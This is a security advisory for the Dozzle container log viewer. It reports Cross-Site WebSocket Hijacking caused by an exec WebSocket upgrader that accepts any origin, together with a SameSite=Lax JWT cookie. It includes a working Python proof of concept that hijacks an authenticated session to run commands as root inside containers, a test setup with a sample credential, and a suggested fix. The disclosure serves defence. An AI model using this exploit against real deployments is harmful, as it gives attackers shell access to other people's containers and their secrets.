Summary

The WebSocket upgrader for the /exec and /attach endpoints uses CheckOrigin: func(r *http.Request) bool { return true }, accepting upgrade requests from any origin. Combined with the JWT cookie using SameSite: Lax, this enables Cross-Site WebSocket Hijacking (CSWSH) — even when authentication is properly configured.

An attacker hosting a page on a same-site origin (e.g., a sibling subdomain, or another service on localhost) can initiate a WebSocket connection to the exec endpoint that carries the victim's valid JWT cookie, gaining interactive shell access in any container the victim is authorized to access.

Root cause

1. CheckOrigin bypassed (internal/web/terminal.go:15-21)

var upgrader = websocket.Upgrader{
    ReadBufferSize:  1024,
    WriteBufferSize: 1024,
    CheckOrigin: func(r *http.Request) bool {
        return true
    },
}

The gorilla/websocket default CheckOrigin rejects cross-origin requests. Overriding it to return true removes the only server-side defense against CSWSH.

2. JWT cookie with SameSite=Lax (internal/web/auth.go:20-27)

http.SetCookie(w, &http.Cookie{
    Name:     "jwt",
    Value:    token,
    HttpOnly: true,
    Path:     "/",
    SameSite: http.SameSiteLaxMode,
    Expires:  expires,
})

SameSite operates at the site level (eTLD+1), not the origin level. A page on evil.example.com can make a WebSocket request to dozzle.example.com and the browser will attach the JWT cookie, because they share the same site (example.com). SameSite=Lax only blocks cross-site requests (different eTLD+1), not cross-origin requests within the same site.

Attack scenario

Preconditions: Dozzle is deployed with --enable-shell and authentication configured (simple auth). The victim is logged in.

1. Attacker controls a page on the same site (e.g., attacker.example.com, or another service on localhost:8888 while Dozzle is on localhost:9090)
2. Victim visits the attacker's page while authenticated to Dozzle
3. Attacker's JavaScript opens new WebSocket('wss://dozzle.example.com/api/hosts/{host}/containers/{id}/exec')
4. Browser sends the JWT cookie (same-site, SameSite=Lax allows it)
5. Dozzle's CheckOrigin returns true — upgrade accepted
6. Auth middleware validates the JWT from the cookie — request authenticated
7. Attacker has a shell in the victim's authorized containers

PoC (auth enabled)

Setup — Dozzle with authentication + shell:

docker-compose.yml:

services:
  dozzle:
    image: amir20/dozzle:latest
    ports:
      - "9090:8080"
    volumes:
      - /var/run/docker.sock:/var/run/docker.sock:ro
      - ./data:/data
    environment:
      - DOZZLE_AUTH_PROVIDER=simple
      - DOZZLE_ENABLE_SHELL=true

  target:
    image: alpine:latest
    command: sh -c "while true; do sleep 3600; done"

data/users.yml:

users:
  admin:
    name: Admin
    # password: admin123
    password: "$2b$11$NdL2aePdZmwFzqGo5YYqaOwG.26CjSlnzU3VQNTEGnT0ewbds2JNS"
    email: admin@test.local
    roles: shell

Exploit — CSWSH with cross-origin Origin header + victim's cookie:

import json, time, websocket, requests

target = "http://localhost:9090"

# Verify auth is enabled
r = requests.get(f"{target}/api/events/stream", timeout=5, stream=True)
r.close()
assert r.status_code == 401, "Auth not enabled"

# Victim logs in
r = requests.post(f"{target}/api/token", data={"username": "admin", "password": "admin123"})
jwt = r.headers["Set-Cookie"].split("jwt=")[1].split(";")[0]

# Get container info (authenticated)
r = requests.get(f"{target}/api/events/stream", cookies={"jwt": jwt}, stream=True, timeout=10)
for line in r.iter_lines(decode_unicode=True):
    if line and line.startswith("data: "):
        data = json.loads(line[6:])
        if isinstance(data, list) and len(data) > 0 and "host" in data[0]:
            host_id = data[0]["host"]
            cid = data[0]["id"]
            break
r.close()

# CSWSH: cross-origin WebSocket with victim's cookie
ws_url = f"ws://localhost:9090/api/hosts/{host_id}/containers/{cid}/exec"
ws = websocket.create_connection(
    ws_url, timeout=10,
    cookie=f"jwt={jwt}",
    origin="http://localhost:8888"  # DIFFERENT origin
)
# Connected! CheckOrigin:true accepted the cross-origin request

ws.send(json.dumps({"type": "resize", "width": 120, "height": 40}))
time.sleep(1); ws.recv()

ws.send(json.dumps({"type": "userinput", "data": "id\n"}))
time.sleep(2)
ws.settimeout(2)
output = []
try:
    while True:
        output.append(ws.recv())
except:
    pass
ws.close()
print("".join(output))
# uid=0(root) gid=0(root) groups=0(root)

# Verify: without cookie = rejected
try:
    ws2 = websocket.create_connection(ws_url, timeout=5, origin="http://localhost:8888")
    ws2.close()
except Exception as e:
    print(f"Without cookie: {e}")  # 401 Unauthorized

Result:

[+] Auth is ENABLED (events stream returns 401)
[+] WebSocket CONNECTED with cross-origin Origin: http://localhost:8888
[+] uid=0(root) gid=0(root) groups=0(root)
[+] Without cookie -> 401 Unauthorized

Impact

Users who deploy Dozzle with --enable-shell and properly configure authentication are still vulnerable to CSWSH. An attacker on a same-site origin can hijack the authenticated WebSocket to:

• Execute arbitrary commands in any container the victim has access to
• Read secrets, environment variables, and files inside containers
• Pivot to other services accessible from the container network
• Potentially escape to the Docker host if the socket is mounted writable

Suggested fix

Remove the custom CheckOrigin override and use the gorilla/websocket default, which rejects cross-origin requests:

var upgrader = websocket.Upgrader{
    ReadBufferSize:  1024,
    WriteBufferSize: 1024,
    // Default CheckOrigin rejects cross-origin requests
}

References

• GHSA-j643-x8pv-8m67